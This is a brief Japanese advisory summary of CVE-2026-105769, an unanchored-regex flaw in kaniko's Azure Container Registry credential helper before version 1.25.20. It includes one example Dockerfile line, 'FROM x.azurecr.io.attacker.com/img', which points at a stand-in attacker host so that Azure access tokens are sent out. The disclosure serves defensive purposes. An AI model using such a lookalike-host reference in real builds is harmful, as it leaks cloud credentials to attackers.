CVSS 9.0 以上
CVE-2026-105769
要約
kaniko の 1.25.20 より前のバージョンでは、Azure Container Registry 用の認証情報ヘルパーがホスト名の判定に先頭や末尾を固定しない正規表現を使っており、.azurecr.io などを含む任意のホスト名が ACR レジストリとして受け入れられる。そのため、FROM x.azurecr.io.attacker.com/img のような紛らわしいホストを参照する Dockerfile により、ビルドの Azure ID から取得した Azure Resource Manager 用のアクセストークンが攻撃者管理のホストへ送信される。この問題は 1.25.20 で修正された。
AI による要約です(公式発表の本文から作成)。
関連(タグ)
kanikoMicrosoft Entra IDMicrosoft Azurechrismellard docker-credential-acr-envDockerGoogleAmazon ECR
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判定の理由
- CVSS 9.0 以上